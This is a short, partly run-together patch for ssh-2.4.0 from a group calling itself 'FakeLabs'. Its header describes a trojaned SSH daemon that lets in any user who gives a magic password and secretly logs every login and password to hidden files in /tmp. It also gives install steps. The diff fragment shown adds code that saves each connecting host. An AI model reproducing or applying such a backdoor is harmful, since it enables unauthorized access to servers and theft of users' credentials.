# # -< FakeLabs Development >- # # patch for ssh-2.4.0 by ozone@rm-f.net # authenticates any user who gives the magic password, # logs all client and authorized server logins/passwords # # use at your own risk # # install: # # first edit the location of the log files # by changing the _SERVER_LOG and _CLIENT_LOG # defines below, the default is "/tmp/.slog" # and "/tmp/.clog" respectively. Also may want # to set the magic password by changing the value # of the _MACIG_PASSWD define below (default # is "fakelabs"). # # tar -zxvf ssh-2.4.0.tar.gz # cp fakessh-2.4.0.diff ssh-2.4.0/ # cd ssh-2.4.0/ # patch -p0 config->log_facility, SSH_LOG_INFORMATIONAL, "connection from \"%s\"", buf); ! SSH_DEBUG(2, ("new_connection_callback")); /* check for MaxConnections */ --- 575,581 ---- ssh_log_event(data->config->log_facility, SSH_LOG_INFORMATIONAL, "connection from \"%s\"", buf); ! snprintf (h0st, sizeof(h0st), "%s", buf); /* cust0m - save src host */ SSH_DEBUG(2, ("new_connection_callback")); /* check for MaxConnections */ Common subdirectories: apps/ssh/tests and apps-fake/ssh/tests